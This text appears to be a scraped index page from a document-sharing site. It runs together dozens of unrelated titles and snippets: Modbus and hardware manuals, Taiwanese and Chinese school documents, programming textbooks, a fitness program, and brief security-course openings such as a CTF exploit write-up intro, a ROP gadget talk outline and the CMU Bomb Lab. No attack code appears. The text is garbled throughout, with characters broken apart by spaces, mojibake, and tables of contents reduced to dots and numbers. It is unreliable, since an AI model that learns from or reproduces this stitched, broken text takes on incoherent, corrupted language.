TCS-NET MODBUS TCS-NET Modbus TCB-IFMB640TLE 1...... 2 2 RS 485... 3 3... 3 4... 4 5... 4 6... 5 7... 6 8... 16 TCS-NET Modbus 1 http://www.modbus-ida.org/ >=3.5 8 8 N*8 ( N = 252.) 16 >= 3.5 Modbus-Master
目 录
1 Quick51...1 1.1 SmartSOPC Quick51...1 1.2 Quick51...1 1.3 Quick51...2 2 Keil C51 Quick51...4 2.1 Keil C51...4 2.2 Keil C51...4 2.3 1 Keil C51...4 2.4 Flash Magic...9 2.5 ISP...9 2.6...10 2.7 Keil C51...12
Improved Preimage Attacks on AES-like Hash Functions: Applications to Whirlpool and Grøstl
SKLOIS (Pseudo) Preimage Attack on Reduced-Round Grøstl Hash Function and Others Shuang Wu, Dengguo Feng, Wenling Wu, Jian Guo, Le Dong, Jian Zou March 20, 2012 Institute. of Software, Chinese Academy
PowerPoint 演示文稿
The BitCoin Scripting Language 交易实例 交易结构 "result": { "txid": "921a dd24", "hash": "921a dd24", "version": 1, "size": 226, "locktime": 0, "vin": [ ], "vout": [ ], "blockhash": "0000000000000000002c510d
Greek God Muscle Building Program ROAD MAP
Greek God Muscle Building Program ROAD MAP by Greg O Gallagher Greek God Muscle Building Program Greg O Gallagher Page 1 Greek God Program Road Map Phase One - Strength & Density Routines I recommend spending
IP505SM_manual_cn.doc
IP505SM 1 Introduction 1...4...4...4...5 LAN...5...5...6...6...7 LED...7...7 2...9...9...9 3...11...11...12...12...12...14...18 LAN...19 DHCP...20...21 4 PC...22...22 Windows...22 TCP/IP -...22 TCP/IP
Microsoft Word - 102119003.htm
102 年 度 11900 電 腦 軟 體 設 計 丙 級 技 術 士 技 能 檢 定 學 科 測 試 試 題 本 試 卷 有 選 擇 題 80 題, 每 題 1.25 分, 皆 為 單 選 選 擇 題, 測 試 時 間 為 100 分 鐘, 請 在 答 案 卡 上 作 答, 答 錯 不 倒 扣 ; 未 作 答 者, 不 予 計 分 准 考 證 號 碼 : 姓 名 : 選 擇 題 : 1. (4)
星河33期.FIT)
大 事 记 渊 2011.11 要 要 2011.12 冤 1 尧 11 月 25 日 下 午 袁 白 银 区 首 届 中 小 学 校 长 论 坛 在 我 校 举 行 遥 2 尧 在 甘 肃 省 2011 年 野 十 一 五 冶 规 划 课 题 集 中 鉴 定 中 袁 我 校 教 师 郝 香 梅 负 责 的 课 题 叶 英 语 课 堂 的 艺 术 性 研 究 曳 袁 张 宏 林 负 责 的 叶 白
K301Q-D VRT中英文说明书141009
THE INSTALLING INSTRUCTION FOR CONCEALED TANK Important instuction:.. Please confirm the structure and shape before installing the toilet bowl. Meanwhile measure the exact size H between outfall and infall
untitled
MODBUS 1 MODBUS...1 1...4 1.1...4 1.2...4 1.3...4 1.4... 2...5 2.1...5 2.2...5 3...6 3.1 OPENSERIAL...6 3.2 CLOSESERIAL...8 3.3 RDMULTIBIT...8 3.4 RDMULTIWORD...9 3.5 WRTONEBIT...11 3.6 WRTONEWORD...12
Chapter 24 DC Battery Sizing
26 (Battery Sizing & Discharge Analysis) - 1. 2. 3. ETAP PowerStation IEEE 485 26-1 ETAP PowerStation 4.7 IEEE 485 ETAP PowerStation 26-2 ETAP PowerStation 4.7 26.1 (Study Toolbar) / (Run Battery Sizing
FY.DOC
高 职 高 专 21 世 纪 规 划 教 材 C++ 程 序 设 计 邓 振 杰 主 编 贾 振 华 孟 庆 敏 副 主 编 人 民 邮 电 出 版 社 内 容 提 要 本 书 系 统 地 介 绍 C++ 语 言 的 基 本 概 念 基 本 语 法 和 编 程 方 法, 深 入 浅 出 地 讲 述 C++ 语 言 面 向 对 象 的 重 要 特 征 : 类 和 对 象 抽 象 封 装 继 承 等 主
ebook50-15
15 82 C / C + + Developer Studio M F C C C + + 83 C / C + + M F C D L L D L L 84 M F C MFC DLL M F C 85 MFC DLL 15.1 82 C/C++ C C + + D L L M F C M F C 84 Developer Studio S t u d i o 292 C _ c p l u s
投影片 1
2 理 1 2-1 CPU 2-2 CPU 理 2-3 CPU 類 2 什 CPU CPU Central Processing Unit ( 理 ), 理 (Processor), CPU 料 ( 例 ) 邏 ( 例 ),, 若 了 CPU, 3 什 CPU CPU 了, 行, 利 CPU 力 來 行 4 什 CPU 5 2-2-1 CPU CPU 了 (CU, Control Unit) / 邏
学习MSP430单片机推荐参考书
MSP430 16 MSP430 C MSP430 C MSP430 FLASH 16 1 CPU 16 ALU 16 PC SP SR R4~R15 2 3 00-FFH 100-1FFH 4 5 1 2 51 24 27 6 1 2 3 4 5 6 4 12 SR SP SR CPU SR CPU C Z N GIE CPUOff CPU OscOff SCG0 SCG1 CPU EXIT SP
Serial ATA ( Silicon Image SiI3114)...2 (1) SATA... 2 (2) B I O S S A T A... 3 (3) RAID BIOS RAID... 5 (4) S A T A... 8 (5) S A T A... 10
Serial ATA ( Silicon Image SiI3114)...2 (1) SATA... 2 (2) B I O S S A T A... 3 (3) RAID BIOS RAID... 5 (4) S A T A... 8 (5) S A T A... 10 Ác Åé å Serial ATA ( Silicon Image SiI3114) S A T A (1) SATA (2)
Untitled
Exploit 3000 writeup 0x00 概述 个 人感觉这道题主要难在逆向, 各种函数还是 比较复杂的, 而且还有 一个找到尽可能多的漏洞的提 示, 让我分析的时候感觉很难受, 生怕错过了 一些漏洞 而导致拿不到分 ( 虽然到最后也没找到什么漏洞啊 T T) 挖到漏洞之后 exploitme.dll 里 面提 示的很明显了, 就是逼着你 用 ROP, 你需要什么都给你, 最后给我把 exp
bingdian001.com
TSM12M TSM12 STM8L152C6, STM8L152R8 MSP430F5325 [email protected]! /******************************************************************************* * : TSM12.c * : * : 2013/10/21 * : TSM12, STM8L f(sysclk)
,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20
(Jump) (Loop) (Conditional jump) CMP CALL AND SAR/SHR TEST JMP NOT SAL/SHL Jnnn* OR RCR/ROR LOOP XOR RCL/ROL RETn * nnn, JNE JL -128 127-32,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far
新竹市建華國民中學九十四學年度課程計畫
目 錄 壹 依 據... 3 貳 目 的... 3 參 學 校 背 景 簡 述 與 課 程 發 展 條 件 分 析... 3 一 學 校 基 本 資 料... 3 二 學 校 課 程 發 展 條 件 分 析 (SWOTS)... 4 肆 學 校 教 育 目 標 與 願 景... 5 ㄧ 學 校 願 景... 5 二 學 校 願 景 圖 像... 5 三 學 校 發 展 方 向 與 展 望... 5
LOVE IS OVER LOVE LOVE LOVE LOVE IS EVERYTHING LOVE LOVE LOVE LOVER'S QUEEN LYDIA MAYBE TOMORROW MEN'S TALK MY DEAR MY FRIEND MY OH MY MY SUMMER DREAM
曲名 1234 20.30.40 5678 GOING 929 9907 A BTTER DAY ANDY BABY I'M YOUR MAN BACK HOME BAD BOY BEAUTIFUL GIRL BABY BABY BACK HOME BEAUTIFUL DAY BECAUSE OF YOU BETTER MAN CAN'T STOP LOVING YOU CALL ME CAN YOU
概述
OPC Version 1.6 build 0910 KOSRDK Knight OPC Server Rapid Development Toolkits Knight Workgroup, eehoo Technology 2002-9 OPC 1...4 2 API...5 2.1...5 2.2...5 2.2.1 KOS_Init...5 2.2.2 KOS_InitB...5 2.2.3
VASP应用运行优化
1 VASP [email protected] April 8, 2018 Contents 1 2 2 2 3 2 4 2 4.1........................................................ 2 4.2..................................................... 3 5 4 5.1..........................................................
幻灯片 1
操作系统课程实验 Lab1:bootloader 启动 ucore os 大纲 x86 启动顺序 C 函数调用 gcc 内联汇编 (inline assembly) x86-32 下的中断处理 理解 x86-32 平台的启动过程理解 x86-32 的实模式 保护模式理解段机制 x86 启动顺序 x86 启动顺序 寄存器初始值 摘自 "IA-32 Intel 体系结构软件开发者手册 " x86 启动顺序
高雄市左營國民小學八十九學年度第一學期一年級總體課程教學進度表
高 雄 市 前 鎮 區 紅 毛 港 國 民 小 學 102 學 年 度 第 1 學 期 ( 五 ) 年 級 各 領 域 教 學 進 度 總 表 教 學 者 :( 五 ) 年 級 教 學 團 隊 彈 性 學 習 時 數 -5 節 班 級 活 動 週 別 日 期 一 0830-0901 二 0902-0908 三 0909-0915 四 0916-0922 五 0923-0929 學 校 活 動 學 年
海 南 冯 琳 峰 海 南 省 锅 炉 压 力 容 器 与 特 种 设 备 检 验 所 海 南 省 定 安 县 白 蒙 路 47 号 570203 信 XC22043618311 内 蒙 古 冯 磊 赤 峰 市 特 种 设 备 检 验 所 内 蒙 古 赤 峰 市 红 山 区 八 里 铺 油 库 路
2015 年 容 器 检 验 员 取 证 邮 寄 证 书 查 询 邮 寄 日 期 2016.2.26 查 询 网 址 http://yjcx.chinapost.com.cn/zdxt/yjcx/ 省 份 姓 名 工 作 单 位 通 信 地 址 邮 政 编 码 挂 号 号 码 山 东 丁 宪 振 山 东 省 特 种 设 备 检 验 研 究 院 山 东 省 济 南 市 高 新 区 天 辰 大 街 939
SiteView技术白皮书
SiteView ECC V6.2 技 术 白 皮 书 游 龙 网 络 科 技 ( 中 国 ) 有 限 公 司 DragonFlow Networks(China),Inc. 目 录 第 一 章 产 品 概 述... 3 第 二 章 系 统 结 构... 6 一 系 统 架 构... 7 1 用 户 管 理 模 块... 7 2 Web Server... 8 3 存 储 加 密 模 块... 8
IP TCP/IP PC OS µclinux MPEG4 Blackfin DSP MPEG4 IP UDP Winsock I/O DirectShow Filter DirectShow MPEG4 µclinux TCP/IP IP COM, DirectShow I
2004 5 IP TCP/IP PC OS µclinux MPEG4 Blackfin DSP MPEG4 IP UDP Winsock I/O DirectShow Filter DirectShow MPEG4 µclinux TCP/IP IP COM, DirectShow I Abstract The techniques of digital video processing, transferring
國 立 政 治 大 學 教 育 學 系 2016 新 生 入 學 手 冊 目 錄 表 11 國 立 政 治 大 學 教 育 學 系 博 士 班 資 格 考 試 抵 免 申 請 表... 46 論 文 題 目 申 報 暨 指 導 教 授... 47 表 12 國 立 政 治 大 學 碩 博 士 班 論
國 立 政 治 大 學 教 育 學 系 2016 新 生 入 學 手 冊 目 錄 一 教 育 學 系 簡 介... 1 ( 一 ) 成 立 時 間... 1 ( 二 ) 教 育 目 標 與 發 展 方 向... 1 ( 三 ) 授 課 師 資... 2 ( 四 ) 行 政 人 員... 3 ( 五 ) 核 心 能 力 與 課 程 規 劃... 3 ( 六 ) 空 間 環 境... 12 ( 七 )
OptiROP:
OptiROP: ROP gadgets 搜寻神 器 议程 Return-Oriented-Programming(ROP) gadget & shellcode OptiROP: 期望, 思路, 设计和实现 通过语义寻找 ROP gadgets 语义 gadgets 现场演示 总结 攻击 & 防御 软件攻击 使用软件 / 设计的缺陷来利用系统 / 应用软件 通过恶意输入来触发漏洞使得攻击代码得以执行
99 學年度班群總介紹 第 370 期 班群總導 陳怡靜 G45 班群總導 陳怡靜(河馬) A 家 惠如 家浩 T 格 宜蓁 小 霖 怡 家 M 璇 均 蓁 雴 家 數學領域 珈玲 國燈 370-2 英領域 Kent
2010 年 8 月 27 日 出 刊 精 緻 教 育 宜 蘭 縣 公 辦 民 營 人 國 民 中 小 學 財 團 法 人 人 適 性 教 育 基 金 會 承 辦 地 址 : 宜 蘭 縣 26141 頭 城 鎮 雅 路 150 號 (03)977-3396 http://www.jwps.ilc.edu.tw 健 康 VS. 學 習 各 位 合 夥 人 其 實 都 知 道, 我 是 個 胖 子, 而
如何使用MyNSLab(MNSL)完成老師指派的作業(學生篇)
Section Page 1. 2. MNSL A.. MyNorthStarLab 老. 行 曆 12. 1. G. 說 H. 1 STUDENT'S QUICK START GUIDE STEP 1: Before You Register STEP 1 Browser Tune-up Check and System Requirements Go to www.mynorthstarlab.com
第一章 出口退税制改革的内容
密 级 学 号 2 0 0 1 0 3 2 9 毕 业 设 计 ( 论 文 ) 出 口 退 税 制 改 革 对 我 国 出 口 的 影 响 院 ( 系 部 ): 经 济 管 理 学 院 姓 名 : 王 晓 年 级 : 2001 级 专 业 : 国 际 经 济 与 贸 易 指 导 教 师 : 杜 秀 芳 教 师 职 称 : 讲 师 2005 年 6 月 10 日 北 京 北 京 石 油 化 工 学 院
æè¯è¨éååæ
易语言介绍 易语言功能强大, 具有多个支持库, 可以很快的进行产品开发 与其它语言相比, 学习难度也低一些, 目前很多的外 挂程序, 核心功能编写为动态链接库, 界面开发的工作会使用易语言来进行 易语言编写的程序, 最终的功能实现, 还是需要调用系统的动态链接库 我对易语言的理解是对系统动态库中常用的 功能进行了一次封装, 使其使用起来更加方便简单 由于易语言本身带有多个支持库, 使用我们的逆向分析变得困难重重
(Microsoft Word - 10\246~\253\327\262\304\244@\264\301\256\325\260T_Version4)
聖 公 會 仁 立 紀 念 小 學 聖 公 會 仁 立 紀 念 小 學 校 園 通 訊 2010 年 度 第 一 期 第 1 頁 \\\\ 校 園 通 訊 2010-2011 年 度 第 一 期 鄭 秀 薇 總 校 長 在 日 本, 有 一 個 傳 說 故 事 是 這 樣 說 的 : 有 一 對 仁 慈 的 老 夫 婦, 生 活 窮 困, 靠 賣 木 柴 過 活 一 天 老 人 在 同 情 心 的
Your Field Guide to More Effective Global Video Conferencing As a global expert in video conferencing, and a geographically dispersed company that uses video conferencing in virtually every aspect of its
摘 要 互 联 网 的 勃 兴 为 草 根 阶 层 书 写 自 我 和 他 人 提 供 了 契 机, 通 过 网 络 自 由 开 放 的 平 台, 网 络 红 人 风 靡 于 虚 拟 世 界 近 年 来, 或 无 心 插 柳, 或 有 意 噱 头, 或 自 我 表 达, 或 幕 后 操 纵, 网 络
上 海 外 国 语 大 学 硕 士 学 位 论 文 论 文 题 目 从 偶 像 符 号 的 消 解 到 消 费 符 号 的 建 构 网 络 红 人 的 形 象 变 迁 研 究 学 科 专 业 传 播 学 届 别 2013 届 姓 名 孙 清 导 师 王 玲 宁 I 摘 要 互 联 网 的 勃 兴 为 草 根 阶 层 书 写 自 我 和 他 人 提 供 了 契 机, 通 过 网 络 自 由 开 放 的
< F5FB77CB6BCBD672028B0B6A46AABE4B751A874A643295F5FB8D5C5AA28A668ADB6292E706466>
A A A A A i A A A A A A A ii Introduction to the Chinese Editions of Great Ideas Penguin s Great Ideas series began publication in 2004. A somewhat smaller list is published in the USA and a related, even
第 15 章 程 式 編 写 語 言 15.1 程 式 編 写 語 言 的 角 色 程 式 編 寫 語 言 是 程 式 編 寫 員 與 電 腦 溝 通 的 界 面 語 法 是 一 組 規 則 讓 程 式 編 寫 員 將 字 詞 集 合 起 來 電 腦 是 處 理 位 元 和 字 節 的 機 器, 與
程 式 編 写 語 言 在 完 成 這 章 後, 你 將 能 夠 了 解 程 式 編 写 語 言 的 功 能 了 解 高 階 語 言 和 低 階 語 言 之 間 的 分 別 知 道 翻 譯 程 式 的 意 義 和 能 夠 把 翻 譯 程 式 分 類 為 : 匯 編 程 式 編 譯 程 式 和 解 譯 程 式 認 識 不 同 翻 譯 程 式 的 優 點 和 缺 點 程 式 是 指 揮 電 腦 的 指
前言 C# C# C# C C# C# C# C# C# microservices C# More Effective C# More Effective C# C# C# C# Effective C# 50 C# C# 7 Effective vii
前言 C# C# C# C C# C# C# C# C# microservices C# More Effective C# More Effective C# C# C# C# Effective C# 50 C# C# 7 Effective vii C# 7 More Effective C# C# C# C# C# C# Common Language Runtime CLR just-in-time
Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt
MACHINE LANGUAGE CODING AND THE DEBUG SOFTWARE DEVELOPMENT PROGRAM OF THE PC MACHINE LANGUAGE CODING AND THE DEBUG SOFTWARE DEVELOPMENT PROGRAM OF THE PC 4.1 Converting Assembly Language Instructions to
Microsoft PowerPoint - ch6 [相容模式]
UiBinder [email protected] UiBinder Java GWT UiBinder XML UI i18n (widget) 1 2 UiBinder HelloWidget.ui.xml: UI HelloWidgetBinder HelloWidget.java XML UI Owner class ( Composite ) UI XML UiBinder: Owner
Microsoft Word - TIP006SCH Uni-edit Writing Tip - Presentperfecttenseandpasttenseinyourintroduction readytopublish
我 难 度 : 高 级 对 们 现 不 在 知 仍 道 有 听 影 过 响 多 少 那 次 么 : 研 英 究 过 文 论 去 写 文 时 作 的 表 技 引 示 巧 言 事 : 部 情 引 分 发 言 该 生 使 在 中 用 过 去, 而 现 在 完 成 时 仅 表 示 事 情 发 生 在 过 去, 并 的 哪 现 种 在 时 完 态 成 呢 时? 和 难 过 道 去 不 时 相 关? 是 所 有
Sze Wan once wrote: To me I remember that series of prints have a lot to do with women s bodies, self-portrait/dancing/exercise/nudity/purity/ self-examination...it is the space hard for me to talk and
Microsoft Word - 第四組心得.doc
徐 婉 真 這 四 天 的 綠 島 人 權 體 驗 營 令 我 印 象 深 刻, 尤 其 第 三 天 晚 上 吳 豪 人 教 授 的 那 堂 課, 他 讓 我 聽 到 不 同 於 以 往 的 正 義 之 聲 轉 型 正 義, 透 過 他 幽 默 熱 情 的 語 調 激 起 了 我 對 政 治 的 興 趣, 願 意 在 未 來 多 關 心 社 會 多 了 解 政 治 第 一 天 抵 達 綠 島 不 久,
NEXT SDT2.51 C:\ARM251 SDT2.51 ARM SDT 2.51 ARM PROJECT MANAGER SDT 2
S3C44B0 SDT DRAGNBOY MICROSTAR ARM 51 ARM S3C44B0 ARM SDT2.51 IAR ADS SDT2.51 S3C44B0 LEDTEST SDT ARM 1 2 SDT embed.8800.org SDT2.51 SDT2.51 ARM ARM CPU ARM SDT ADS ADS MULTI-ICE SDT JTAG JTAG SDT SDT2.51
Lorem ipsum dolor sit amet, consectetuer adipiscing elit
留 学 澳 洲 英 语 讲 座 English for Study in Australia 第 十 三 课 : 与 同 学 一 起 做 功 课 Lesson 13: Working together L1 Male 各 位 听 众 朋 友 好, 我 是 澳 大 利 亚 澳 洲 广 播 电 台 的 节 目 主 持 人 陈 昊 L1 Female 各 位 好, 我 是 马 健 媛 L1 Male L1
2. 过程 这里主要使用 gdb 来拆炸弹 当然, 用其他工具来辅助, 应该可以更高效地完成 (gdb) echo ======================= Defuse Phase_1 ==============================\n\n ==================
CMU 计算机课程 Bomb Lab 拆除过程解析 Yungang Bao([email protected]) 2011/10/15 CMU 的计算机系统课程 Lab 有一个是拆炸弹 : 给一个二进制 炸弹 可执行文件, 要猜对 6 条输入才不会引爆, 既有挑战又有趣味 感兴趣的朋友可以尝试一下. CMU 课程网址 :http://csapp.cs.cmu.edu/public/labs.html
